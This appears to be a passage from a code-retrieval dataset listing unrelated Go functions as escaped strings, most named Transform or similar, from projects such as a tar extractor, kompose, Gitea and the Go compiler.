MkdirAll here because even\n\t\t// though you need to have a tar entry for every component of a new\n\t\t// path, applyMetadata will correct any inconsistencies.\n\t\tif err := te.fsEval.MkdirAll(path, 0777); err != nil {\n\t\t\treturn errors.Wrap(err, \"mkdirall\")\n\t\t}\n\n\t// hard link, symbolic link\n\tcase tar.TypeLink, tar.TypeSymlink:\n\t\tlinkname := hdr.Linkname\n\n\t\t// Hardlinks and symlinks act differently when it comes to the scoping.\n\t\t// In both cases, we have to just unlink and then re-link the given\n\t\t// path. But the function used and the argument are slightly different.\n\t\tvar linkFn func(string, string) error\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeLink:\n\t\t\tlinkFn = te.fsEval.Link\n\t\t\t// Because hardlinks are inode-based we need to scope the link to\n\t\t\t// the rootfs using SecureJoinVFS. As before, we need to be careful\n\t\t\t// that we don't resolve the last part of the link path (in case\n\t\t\t// the user actually wanted to hardlink to a symlink).\n\t\t\tunsafeLinkDir, linkFile := filepath.Split(CleanPath(linkname))\n\t\t\tlinkDir, err := securejoin.SecureJoinVFS(root, unsafeLinkDir, te.fsEval)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"sanitise hardlink target in root\")\n\t\t\t}\n\t\t\tlinkname = filepath.Join(linkDir, linkFile)\n\t\tcase tar.TypeSymlink:\n\t\t\tlinkFn = te.fsEval.Symlink\n\t\t}\n\n\t\t// Link the new one.\n\t\tif err := linkFn(linkname, path); err != nil {\n\t\t\t// FIXME: Currently this can break if tar hardlink entries occur\n\t\t\t// before we hit the entry those hardlinks link to. I have a\n\t\t\t// feeling that such archives are invalid, but the correct\n\t\t\t// way of handling this is to delay link creation until the\n\t\t\t// very end. Unfortunately this won't work with symlinks\n\t\t\t// (which can link to directories).\n\t\t\treturn errors.Wrap(err, \"link\")\n\t\t}\n\n\t// character device node, block device node\n\tcase tar.TypeChar, tar.TypeBlock:\n\t\t// In rootless mode we have no choice but to fake this, since mknod(2)\n\t\t// doesn't work as an unprivileged user here.\n\t\t//\n\t\t// TODO: We need to add the concept of a fake block device in\n\t\t// \"user.rootlesscontainers\", because this workaround suffers\n\t\t// from the obvious issue that if the file is touched (even the\n\t\t// metadata) then it will be incorrectly copied into the layer.\n\t\t// This would break distribution images fairly badly.\n\t\tif te.partialRootless {\n\t\t\tlog.Warnf(\"rootless{%s} creating empty file in place of device %d:%d\", hdr.Name, hdr.Devmajor, hdr.Devminor)\n\t\t\tfh, err := te.fsEval.Create(path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"create rootless block\")\n\t\t\t}\n\t\t\tdefer fh.Close()\n\t\t\tif err := fh.Chmod(0); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"chmod 0 rootless block\")\n\t\t\t}\n\t\t\tgoto out\n\t\t}\n\n\t\t// Otherwise the handling is the same as a FIFO.\n\t\tfallthrough\n\t// fifo node\n\tcase tar.TypeFifo:\n\t\t// We have to remove and then create the device. In the FIFO case we\n\t\t// could choose not to do so, but we do it anyway just to be on the\n\t\t// safe side.\n\n\t\tmode := system.Tarmode(hdr.Typeflag)\n\t\tdev := unix.Mkdev(uint32(hdr.Devmajor), uint32(hdr.Devminor))\n\n\t\t// Create the node.\n\t\tif err := te.fsEval.Mknod(path, os.FileMode(int64(mode)|hdr.Mode), dev); err != nil {\n\t\t\treturn errors.Wrap(err, \"mknod\")\n\t\t}\n\n\t// We should never hit any other headers (Go abstracts them away from us),\n\t// and we can't handle any custom Tar extensions. So just error out.\n\tdefault:\n\t\treturn fmt.Errorf(\"unpack entry: %s: unknown typeflag '\\\\x%x'\", hdr.Name, hdr.Typeflag)\n\t}\n\nout:\n\t// Apply the metadata, which will apply any mappings necessary. We don't\n\t// apply metadata for hardlinks, because hardlinks don't have any separate\n\t// metadata from their link (and the tar headers might not be filled).\n\tif hdr.Typeflag != tar.TypeLink {\n\t\tif err := te.applyMetadata(path, hdr); err != nil {\n\t\t\treturn errors.Wrap(err, \"apply hdr metadata\")\n\t\t}\n\t}\n\n\t// Everything is done -- the path now exists. Add it (and all its\n\t// ancestors) to the set of upper paths. We first have to figure out the\n\t// proper path corresponding to hdr.Name though.\n\tupperPath, err := filepath.Rel(root, path)\n\tif err != nil {\n\t\t// Really shouldn't happen because of the guarantees of SecureJoinVFS.\n\t\treturn errors.Wrap(err, \"find relative-to-root [should never happen]\")\n\t}\n\tfor pth := upperPath; pth != filepath.Dir(pth); pth = filepath.Dir(pth) {\n\t\tte.upperPaths[pth] = struct{}{}\n\t}\n\treturn nil\n}", "func Transform() TRANSFORM {\n\treturn TRANSFORM{\n\t\ttags: []ONETRANSFORM{},\n\t}\n}", "func (p *GetField) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tn := *p\n\treturn f(&n)\n}", "func (n *ns1) transformZone(ns1Zone *dns.Zone) zone {\n\treturn zone{id: ns1Zone.ID, name: ns1Zone.Zone}\n}", "func (s *BaseSyslParserListener) EnterTransform_arg(ctx *Transform_argContext) {}", "func Transform(t transform.Transformer, filename string) error {\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\tw, err := Writer(filename, 0)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer w.Close()\n\n\tif _, err := io.Copy(w, transform.NewReader(f, t)); err != nil {\n\t\treturn err\n\t}\n\treturn w.Commit()\n}", "func (h *Hour) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := h.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewHour(child))\n}", "func (o *OpenShift) Transform(komposeObject kobject.KomposeObject, opt kobject.ConvertOptions) ([]runtime.Object, error) {\n\tnoSupKeys := o.Kubernetes.CheckUnsupportedKey(&komposeObject, unsupportedKey)\n\tfor _, keyName := range noSupKeys {\n\t\tlog.Warningf(\"OpenShift provider doesn't support %s key - ignoring\", keyName)\n\t}\n\t// this will hold all the converted data\n\tvar allobjects []runtime.Object\n\n\tif komposeObject.Namespace != \"\" {\n\t\tns := transformer.CreateNamespace(komposeObject.Namespace)\n\t\tallobjects = append(allobjects, ns)\n\t}\n\n\tvar err error\n\tvar composeFileDir string\n\tbuildRepo := opt.BuildRepo\n\tbuildBranch := opt.BuildBranch\n\n\tif komposeObject.Secrets != nil {\n\t\tsecrets, err := o.CreateSecrets(komposeObject)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"create secrets error\")\n\t\t}\n\t\tfor _, item := range secrets {\n\t\t\tallobjects = append(allobjects, item)\n\t\t}\n\t}\n\n\tsortedKeys := kubernetes.SortedKeys(komposeObject)\n\tfor _, name := range sortedKeys {\n\t\tservice := komposeObject.ServiceConfigs[name]\n\t\tvar objects []runtime.Object\n\n\t\t//replicas\n\t\tvar replica int\n\t\tif opt.IsReplicaSetFlag || service.Replicas == 0 {\n\t\t\treplica = opt.Replicas\n\t\t} else {\n\t\t\treplica = service.Replicas\n\t\t}\n\n\t\t// If Deploy.Mode = Global has been set, make replica = 1 when generating DeploymentConfig\n\t\tif service.DeployMode == \"global\" {\n\t\t\treplica = 1\n\t\t}\n\n\t\t// Must build the images before conversion (got to add service.Image in case 'image' key isn't provided\n\t\t// Check to see if there is an InputFile (required!) before we build the container\n\t\t// Check that there's actually a Build key\n\t\t// Lastly, we must have an Image name to continue\n\t\tif opt.Build == \"local\" && opt.InputFiles != nil && service.Build != \"\" {\n\t\t\t// If there's no \"image\" key, use the name of the container that's built\n\t\t\tif service.Image == \"\" {\n\t\t\t\tservice.Image = name\n\t\t\t}\n\n\t\t\tif service.Image == \"\" {\n\t\t\t\treturn nil, fmt.Errorf(\"image key required within build parameters in order to build and push service '%s'\", name)\n\t\t\t}\n\n\t\t\t// Build the container!\n\t\t\terr := transformer.BuildDockerImage(service, name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Unable to build Docker container for service %v: %v\", name, err)\n\t\t\t}\n\n\t\t\t// Push the built container to the repo!\n\t\t\terr = transformer.PushDockerImageWithOpt(service, name, opt)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Unable to push Docker image for service %v: %v\", name, err)\n\t\t\t}\n\t\t}\n\n\t\t// Generate pod only and nothing more\n\t\tif service.Restart == \"no\" || service.Restart == \"on-failure\" {\n\t\t\t// Error out if Controller Object is specified with restart: 'on-failure'\n\t\t\tif opt.IsDeploymentConfigFlag {\n\t\t\t\treturn nil, errors.New(\"Controller object cannot be specified with restart: 'on-failure'\")\n\t\t\t}\n\t\t\tpod := o.InitPod(name, service)\n\t\t\tobjects = append(objects, pod)\n\t\t} else {\n\t\t\tobjects = o.CreateWorkloadAndConfigMapObjects(name, service, opt)\n\n\t\t\tif opt.CreateDeploymentConfig {\n\t\t\t\tobjects = append(objects, o.initDeploymentConfig(name, service, replica)) // OpenShift DeploymentConfigs\n\t\t\t\t// create ImageStream after deployment (creating IS will trigger new deployment)\n\t\t\t\tobjects = append(objects, o.initImageStream(name, service, opt))\n\t\t\t}\n\n\t\t\t// buildconfig needs to be added to objects after imagestream because of this Openshift bug: https://github.com/openshift/origin/issues/4518\n\t\t\t// Generate BuildConfig if the parameter has been passed\n\t\t\tif service.Build != \"\" && opt.Build == \"build-config\" {\n\t\t\t\t// Get the compose file directory\n\t\t\t\tcomposeFileDir, err = transformer.GetComposeFileDir(opt.InputFiles)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Warningf(\"Error %v in detecting compose file's directory.\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Check for Git\n\t\t\t\tif !HasGitBinary() && (buildRepo == \"\" || buildBranch == \"\") {\n\t\t\t\t\treturn nil, errors.New(\"Git is not installed! Please install Git to create buildconfig, else supply source repository and branch to use for build using '--build-repo', '--build-branch' options respectively\")\n\t\t\t\t}\n\n\t\t\t\t// Check the Git branch\n\t\t\t\tif buildBranch == \"\" {\n\t\t\t\t\tbuildBranch, err = GetGitCurrentBranch(composeFileDir)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"Buildconfig cannot be created because current git branch couldn't be detected.\")\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Detect the remote branches\n\t\t\t\tif opt.BuildRepo == \"\" {\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"Buildconfig cannot be created because remote for current git branch couldn't be detected.\")\n\t\t\t\t\t}\n\t\t\t\t\tbuildRepo, err = GetGitCurrentRemoteURL(composeFileDir)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"Buildconfig cannot be created because git remote origin repo couldn't be detected.\")\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Initialize and build BuildConfig\n\t\t\t\tbc, err := initBuildConfig(name, service, buildRepo, buildBranch)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"initBuildConfig failed\")\n\t\t\t\t}\n\t\t\t\tobjects = append(objects, bc) // Openshift BuildConfigs\n\n\t\t\t\t// Log what we're doing\n\t\t\t\tlog.Infof(\"Buildconfig using %s::%s as source.\", buildRepo, buildBranch)\n\t\t\t}\n\t\t}\n\n\t\tif o.PortsExist(service) {\n\t\t\tif service.ServiceType == \"LoadBalancer\" {\n\t\t\t\tsvcs := o.CreateLBService(name, service)\n\t\t\t\tfor _, svc := range svcs {\n\t\t\t\t\tsvc.Spec.ExternalTrafficPolicy = corev1.ServiceExternalTrafficPolicyType(service.ServiceExternalTrafficPolicy)\n\t\t\t\t\tobjects = append(objects, svc)\n\t\t\t\t}\n\t\t\t\tif len(svcs) > 1 {\n\t\t\t\t\tlog.Warningf(\"Create multiple service to avoid using mixed protocol in the same service when it's loadbalancer type\")\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsvc := o.CreateService(name, service)\n\t\t\t\tobjects = append(objects, svc)\n\n\t\t\t\tif service.ExposeService != \"\" {\n\t\t\t\t\tobjects = append(objects, o.initRoute(name, service, svc.Spec.Ports[0].Port))\n\t\t\t\t}\n\t\t\t\tif service.ServiceExternalTrafficPolicy != \"\" && svc.Spec.Type != corev1.ServiceTypeNodePort {\n\t\t\t\t\tlog.Warningf(\"External Traffic Policy is ignored for the service %v of type %v\", name, service.ServiceType)\n\t\t\t\t}\n\t\t\t}\n\t\t} else if service.ServiceType == \"Headless\" {\n\t\t\tsvc := o.CreateHeadlessService(name, service)\n\t\t\tobjects = append(objects, svc)\n\t\t\tif service.ServiceExternalTrafficPolicy != \"\" {\n\t\t\t\tlog.Warningf(\"External Traffic Policy is ignored for the service %v of type Headless\", name)\n\t\t\t}\n\t\t}\n\n\t\terr := o.UpdateKubernetesObjects(name, service, opt, &objects)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Error transforming Kubernetes objects\")\n\t\t}\n\n\t\tallobjects = append(allobjects, objects...)\n\t}\n\n\t// sort all object so Services are first\n\to.SortServicesFirst(&allobjects)\n\to.RemoveDupObjects(&allobjects)\n\ttransformer.AssignNamespaceToObjects(&allobjects, komposeObject.Namespace)\n\t// o.FixWorkloadVersion(&allobjects)\n\n\treturn allobjects, nil\n}", "func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (g *ASTTransformer) Transform(node *ast.Document, reader text.Reader, pc parser.Context) {\n\tfirstChild := node.FirstChild()\n\ttocMode := \"\"\n\tctx := pc.Get(renderContextKey).(*markup.RenderContext)\n\trc := pc.Get(renderConfigKey).(*RenderConfig)\n\n\ttocList := make([]markup.Header, 0, 20)\n\tif rc.yamlNode != nil {\n\t\tmetaNode := rc.toMetaNode()\n\t\tif metaNode != nil {\n\t\t\tnode.InsertBefore(node, firstChild, metaNode)\n\t\t}\n\t\ttocMode = rc.TOC\n\t}\n\n\tapplyElementDir := func(n ast.Node) {\n\t\tif markup.DefaultProcessorHelper.ElementDir != \"\" {\n\t\t\tn.SetAttributeString(\"dir\", []byte(markup.DefaultProcessorHelper.ElementDir))\n\t\t}\n\t}\n\n\tattentionMarkedBlockquotes := make(container.Set[*ast.Blockquote])\n\t_ = ast.Walk(node, func(n ast.Node, entering bool) (ast.WalkStatus, error) {\n\t\tif !entering {\n\t\t\treturn ast.WalkContinue, nil\n\t\t}\n\n\t\tswitch v := n.(type) {\n\t\tcase *ast.Heading:\n\t\t\tfor _, attr := range v.Attributes() {\n\t\t\t\tif _, ok := attr.Value.([]byte); !ok {\n\t\t\t\t\tv.SetAttribute(attr.Name, []byte(fmt.Sprintf(\"%v\", attr.Value)))\n\t\t\t\t}\n\t\t\t}\n\t\t\ttxt := n.Text(reader.Source())\n\t\t\theader := markup.Header{\n\t\t\t\tText: util.BytesToReadOnlyString(txt),\n\t\t\t\tLevel: v.Level,\n\t\t\t}\n\t\t\tif id, found := v.AttributeString(\"id\"); found {\n\t\t\t\theader.ID = util.BytesToReadOnlyString(id.([]byte))\n\t\t\t}\n\t\t\ttocList = append(tocList, header)\n\t\t\tapplyElementDir(v)\n\t\tcase *ast.Paragraph:\n\t\t\tapplyElementDir(v)\n\t\tcase *ast.Image:\n\t\t\t// Images need two things:\n\t\t\t//\n\t\t\t// 1. Their src needs to munged to be a real value\n\t\t\t// 2. If they're not wrapped with a link they need a link wrapper\n\n\t\t\t// Check if the destination is a real link\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) {\n\t\t\t\tprefix := pc.Get(urlPrefixKey).(string)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tprefix = giteautil.URLJoin(prefix, \"wiki\", \"raw\")\n\t\t\t\t}\n\t\t\t\tprefix = strings.Replace(prefix, \"/src/\", \"/media/\", 1)\n\n\t\t\t\tlnk := strings.TrimLeft(string(link), \"/\")\n\n\t\t\t\tlnk = giteautil.URLJoin(prefix, lnk)\n\t\t\t\tlink = []byte(lnk)\n\t\t\t}\n\t\t\tv.Destination = link\n\n\t\t\tparent := n.Parent()\n\t\t\t// Create a link around image only if parent is not already a link\n\t\t\tif _, ok := parent.(*ast.Link); !ok && parent != nil {\n\t\t\t\tnext := n.NextSibling()\n\n\t\t\t\t// Create a link wrapper\n\t\t\t\twrap := ast.NewLink()\n\t\t\t\twrap.Destination = link\n\t\t\t\twrap.Title = v.Title\n\t\t\t\twrap.SetAttributeString(\"target\", []byte(\"_blank\"))\n\n\t\t\t\t// Duplicate the current image node\n\t\t\t\timage := ast.NewImage(ast.NewLink())\n\t\t\t\timage.Destination = link\n\t\t\t\timage.Title = v.Title\n\t\t\t\tfor _, attr := range v.Attributes() {\n\t\t\t\t\timage.SetAttribute(attr.Name, attr.Value)\n\t\t\t\t}\n\t\t\t\tfor child := v.FirstChild(); child != nil; {\n\t\t\t\t\tnext := child.NextSibling()\n\t\t\t\t\timage.AppendChild(image, child)\n\t\t\t\t\tchild = next\n\t\t\t\t}\n\n\t\t\t\t// Append our duplicate image to the wrapper link\n\t\t\t\twrap.AppendChild(wrap, image)\n\n\t\t\t\t// Wire in the next sibling\n\t\t\t\twrap.SetNextSibling(next)\n\n\t\t\t\t// Replace the current node with the wrapper link\n\t\t\t\tparent.ReplaceChild(parent, n, wrap)\n\n\t\t\t\t// But most importantly ensure the next sibling is still on the old image too\n\t\t\t\tv.SetNextSibling(next)\n\t\t\t}\n\t\tcase *ast.Link:\n\t\t\t// Links need their href to munged to be a real value\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) &&\n\t\t\t\tlink[0] != '#' && !bytes.HasPrefix(link, byteMailto) {\n\t\t\t\t// special case: this is not a link, a hash link or a mailto:, so it's a\n\t\t\t\t// relative URL\n\t\t\t\tlnk := string(link)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tlnk = giteautil.URLJoin(\"wiki\", lnk)\n\t\t\t\t}\n\t\t\t\tlink = []byte(giteautil.URLJoin(pc.Get(urlPrefixKey).(string), lnk))\n\t\t\t}\n\t\t\tif len(link) > 0 && link[0] == '#' {\n\t\t\t\tlink = []byte(\"#user-content-\" + string(link)[1:])\n\t\t\t}\n\t\t\tv.Destination = link\n\t\tcase *ast.List:\n\t\t\tif v.HasChildren() {\n\t\t\t\tchildren := make([]ast.Node, 0, v.ChildCount())\n\t\t\t\tchild := v.FirstChild()\n\t\t\t\tfor child != nil {\n\t\t\t\t\tchildren = append(children, child)\n\t\t\t\t\tchild = child.NextSibling()\n\t\t\t\t}\n\t\t\t\tv.RemoveChildren(v)\n\n\t\t\t\tfor _, child := range children {\n\t\t\t\t\tlistItem := child.(*ast.ListItem)\n\t\t\t\t\tif !child.HasChildren() || !child.FirstChild().HasChildren() {\n\t\t\t\t\t\tv.AppendChild(v, child)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\ttaskCheckBox, ok := child.FirstChild().FirstChild().(*east.TaskCheckBox)\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\tv.AppendChild(v, child)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tnewChild := NewTaskCheckBoxListItem(listItem)\n\t\t\t\t\tnewChild.IsChecked = taskCheckBox.IsChecked\n\t\t\t\t\tnewChild.SetAttributeString(\"class\", []byte(\"task-list-item\"))\n\t\t\t\t\tsegments := newChild.FirstChild().Lines()\n\t\t\t\t\tif segments.Len() > 0 {\n\t\t\t\t\t\tsegment := segments.At(0)\n\t\t\t\t\t\tnewChild.SourcePosition = rc.metaLength + segment.Start\n\t\t\t\t\t}\n\t\t\t\t\tv.AppendChild(v, newChild)\n\t\t\t\t}\n\t\t\t}\n\t\t\tapplyElementDir(v)\n\t\tcase *ast.Text:\n\t\t\tif v.SoftLineBreak() && !v.HardLineBreak() {\n\t\t\t\trenderMetas := pc.Get(renderMetasKey).(map[string]string)\n\t\t\t\tmode := renderMetas[\"mode\"]\n\t\t\t\tif mode != \"document\" {\n\t\t\t\t\tv.SetHardLineBreak(setting.Markdown.EnableHardLineBreakInComments)\n\t\t\t\t} else {\n\t\t\t\t\tv.SetHardLineBreak(setting.Markdown.EnableHardLineBreakInDocuments)\n\t\t\t\t}\n\t\t\t}\n\t\tcase *ast.CodeSpan:\n\t\t\tcolorContent := n.Text(reader.Source())\n\t\t\tif css.ColorHandler(strings.ToLower(string(colorContent))) {\n\t\t\t\tv.AppendChild(v, NewColorPreview(colorContent))\n\t\t\t}\n\t\tcase *ast.Emphasis:\n\t\t\t// check if inside blockquote for attention, expected hierarchy is\n\t\t\t// Emphasis < Paragraph < Blockquote\n\t\t\tblockquote, isInBlockquote := n.Parent().Parent().(*ast.Blockquote)\n\t\t\tif isInBlockquote && !attentionMarkedBlockquotes.Contains(blockquote) {\n\t\t\t\tfullText := string(n.Text(reader.Source()))\n\t\t\t\tif fullText == AttentionNote || fullText == AttentionWarning {\n\t\t\t\t\tv.SetAttributeString(\"class\", []byte(\"attention-\"+strings.ToLower(fullText)))\n\t\t\t\t\tv.Parent().InsertBefore(v.Parent(), v, NewAttention(fullText))\n\t\t\t\t\tattentionMarkedBlockquotes.Add(blockquote)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn ast.WalkContinue, nil\n\t})\n\n\tshowTocInMain := tocMode == \"true\" /* old behavior, in main view */ || tocMode == \"main\"\n\tshowTocInSidebar := !showTocInMain && tocMode != \"false\" // not hidden, not main, then show it in sidebar\n\tif len(tocList) > 0 && (showTocInMain || showTocInSidebar) {\n\t\tif showTocInMain {\n\t\t\ttocNode := createTOCNode(tocList, rc.Lang, nil)\n\t\t\tnode.InsertBefore(node, firstChild, tocNode)\n\t\t} else {\n\t\t\ttocNode := createTOCNode(tocList, rc.Lang, map[string]string{\"open\": \"open\"})\n\t\t\tctx.SidebarTocNode = tocNode\n\t\t}\n\t}\n\n\tif len(rc.Lang) > 0 {\n\t\tnode.SetAttributeString(\"lang\", []byte(rc.Lang))\n\t}\n}", "func Transform(w io.Writer, r io.Reader, o *Options) (err error) {\n\t// Nothing cropped, so just pipe the image as-is.\n\tif o.Rectangle == nil {\n\t\t_, err = io.Copy(w, r)\n\t\treturn\n\t}\n\t// Cropping, will have to re-code.\n\ti, e := Decode(r)\n\tif e != nil {\n\t\treturn e\n\t}\n\treturn Encode(w, i, o)\n}", "func convert(r *resource.Resource) *unstructured.Unstructured {\n\treturn &unstructured.Unstructured{\n\t\tObject: r.Map(),\n\t}\n}", "func (app *Configurable) Transform(parameters map[string]string) interfaces.AppFunction {\n\ttransformType, ok := parameters[TransformType]\n\tif !ok {\n\t\tapp.lc.Errorf(\"Could not find '%s' parameter for Transform\", TransformType)\n\t\treturn nil\n\t}\n\n\ttransform := transforms.Conversion{}\n\n\tswitch strings.ToLower(transformType) {\n\tcase TransformXml:\n\t\treturn transform.TransformToXML\n\tcase TransformJson:\n\t\treturn transform.TransformToJSON\n\tdefault:\n\t\tapp.lc.Errorf(\n\t\t\t\"Invalid transform type '%s'. Must be '%s' or '%s'\",\n\t\t\ttransformType,\n\t\t\tTransformXml,\n\t\t\tTransformJson)\n\t\treturn nil\n\t}\n}", "func (d *Day) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := d.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewDay(child))\n}", "func (s *StructTransformer) Transform(v interface{}) []float64 {\n\tif v == nil || s == nil {\n\t\treturn nil\n\t}\n\n\tif s.getNumFeatures() == 0 {\n\t\treturn nil\n\t}\n\n\tfeatures := make([]float64, 0, s.getNumFeatures())\n\n\tval := reflect.ValueOf(v)\n\tfor i := 0; i < val.NumField() && i < len(s.Transformers); i++ {\n\t\ttransformer := s.Transformers[i]\n\t\tif transformer == nil || reflect.ValueOf(transformer).IsNil() {\n\t\t\tcontinue\n\t\t}\n\n\t\tfield := val.Field(i)\n\t\tswitch field.Type().Kind() {\n\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\tfeatures = append(features, s.transformNumerical(transformer, float64(field.Int()))...)\n\t\tcase reflect.Float32, reflect.Float64:\n\t\t\tfeatures = append(features, s.transformNumerical(transformer, field.Float())...)\n\t\tcase reflect.String:\n\t\t\tfeatures = append(features, s.transformString(transformer, field.String())...)\n\t\tdefault:\n\t\t\tpanic(\"unsupported type in struct\")\n\t\t}\n\t}\n\n\treturn features\n}", "func transformError(resourceType string, resource string, err error) error {\n\tswitch err.(type) {\n\tcase *find.NotFoundError, *find.DefaultNotFoundError:\n\t\treturn k8serrors.NewNotFound(schema.GroupResource{Group: \"vmoperator.vmware.com\", Resource: strings.ToLower(resourceType)}, resource)\n\tcase *find.MultipleFoundError, *find.DefaultMultipleFoundError:\n\t\t// Transform?\n\t\treturn err\n\tdefault:\n\t\treturn err\n\t}\n}", "func transformSlice(n *ir.SliceExpr) {\n\tassert(n.Type() != nil && n.Typecheck() == 1)\n\tl := n.X\n\tif l.Type().IsArray() {\n\t\taddr := typecheck.NodAddr(n.X)\n\t\taddr.SetImplicit(true)\n\t\ttyped(types.NewPtr(n.X.Type()), addr)\n\t\tn.X = addr\n\t\tl = addr\n\t}\n\tt := l.Type()\n\tif t.IsString() {\n\t\tn.SetOp(ir.OSLICESTR)\n\t} else if t.IsPtr() && t.Elem().IsArray() {\n\t\tif n.Op().IsSlice3() {\n\t\t\tn.SetOp(ir.OSLICE3ARR)\n\t\t} else {\n\t\t\tn.SetOp(ir.OSLICEARR)\n\t\t}\n\t}\n}", "func transformReturn(rs *ir.ReturnStmt) {\n\ttransformArgs(rs)\n\tnl := rs.Results\n\tif ir.HasNamedResults(ir.CurFunc) && len(nl) == 0 {\n\t\treturn\n\t}\n\n\ttypecheckaste(ir.ORETURN, nil, false, ir.CurFunc.Type().Results(), nl)\n}", "func TransformDocument(in interface{}) Document {\n\tvar document Document\n\tswitch v := in.(type) {\n\tcase bson.M:\n\t\tdocument.ID = v[\"_id\"].(bson.ObjectId)\n\t\tdocument.OwnerID = v[\"owner_id\"].(bson.ObjectId)\n\t\tdocument.URL = v[\"url\"].(string)\n\t\tdocument.DocType = v[\"doc_type\"].(string)\n\t\tdocument.OwnerType = v[\"owner_type\"].(string)\n\n\tcase Document:\n\t\tdocument = v\n\t}\n\n\treturn document\n}", "func (e *With32FieldsFeatureTransformer) Transform(s *With32Fields) []float64 {\n\tif s == nil || e == nil {\n\t\treturn nil\n\t}\n\tfeatures := make([]float64, e.NumFeatures())\n\te.TransformInplace(features, s)\n\treturn features\n}", "func Transform(mid Middler, file string, name string, outfile string) error {\n\timg, err := loadImage(file)\n\tout, err := os.Create(outfile)\n\tdefer out.Close()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't open file for writing\")\n\t}\n\tmiddle, err := mid(img)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Problem with middle detection %v\", err)\n\t}\n\tdst := mirroredImage(img, middle)\n\tjpeg.Encode(out, dst, &jpeg.Options{Quality: 100})\n\treturn nil\n}", "func (gatewayContext *GatewayContext) transformEvent(gatewayEvent *gateways.Event) (*cloudevents.Event, error) {\n\tevent := cloudevents.NewEvent(cloudevents.VersionV03)\n\tevent.SetID(fmt.Sprintf(\"%x\", uuid.New()))\n\tevent.SetSpecVersion(cloudevents.VersionV03)\n\tevent.SetType(string(gatewayContext.gateway.Spec.Type))\n\tevent.SetSource(gatewayContext.gateway.Name)\n\tevent.SetDataContentType(\"application/json\")\n\tevent.SetSubject(gatewayEvent.Name)\n\tevent.SetTime(time.Now())\n\tif err := event.SetData(gatewayEvent.Payload); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &event, nil\n}", "func Unstructured(group, kind, version, name, namespace string, object map[string]interface{}, owner *ibmcloudv1alpha1.Nfs, client client.Client, scheme *runtime.Scheme, log logr.Logger) {\n\tres := &ResUnstructured{\n\t\tgroup: group,\n\t\tkind: kind,\n\t\tversion: version,\n\t\tnamespace: namespace,\n\t}\n\tres.Resource = New(owner, client, scheme, log)\n\tres.Object = res.newUnstructured(object)\n\n\tapiVersion, kind := GVK(res.Object, res.Scheme)\n\tres.Log = res.Log.WithValues(\"Resource.Name\", res.Object.GetName(), \"Resource.Namespace\", res.Object.GetNamespace(), \"Resource.APIVersion\", apiVersion, \"Resource.Kind\", kind)\n}", "func transformCompLit(n *ir.CompLitExpr) (res ir.Node) {\n\tassert(n.Type() != nil && n.Typecheck() == 1)\n\tlno := base.Pos\n\tdefer func() {\n\t\tbase.Pos = lno\n\t}()\n\n\t// Save original node (including n.Right)\n\tn.SetOrig(ir.Copy(n))\n\n\tir.SetPos(n)\n\n\tt := n.Type()\n\n\tswitch t.Kind() {\n\tdefault:\n\t\tbase.Fatalf(\"transformCompLit %v\", t.Kind())\n\n\tcase types.TARRAY:\n\t\ttransformArrayLit(t.Elem(), t.NumElem(), n.List)\n\t\tn.SetOp(ir.OARRAYLIT)\n\n\tcase types.TSLICE:\n\t\tlength := 